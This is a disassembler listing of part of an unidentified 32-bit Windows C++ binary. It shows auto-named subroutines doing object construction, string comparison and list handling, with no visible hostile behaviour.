; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C6C ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C6C ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F30 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F30 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C6C ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C6C ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C6C ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F30 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; 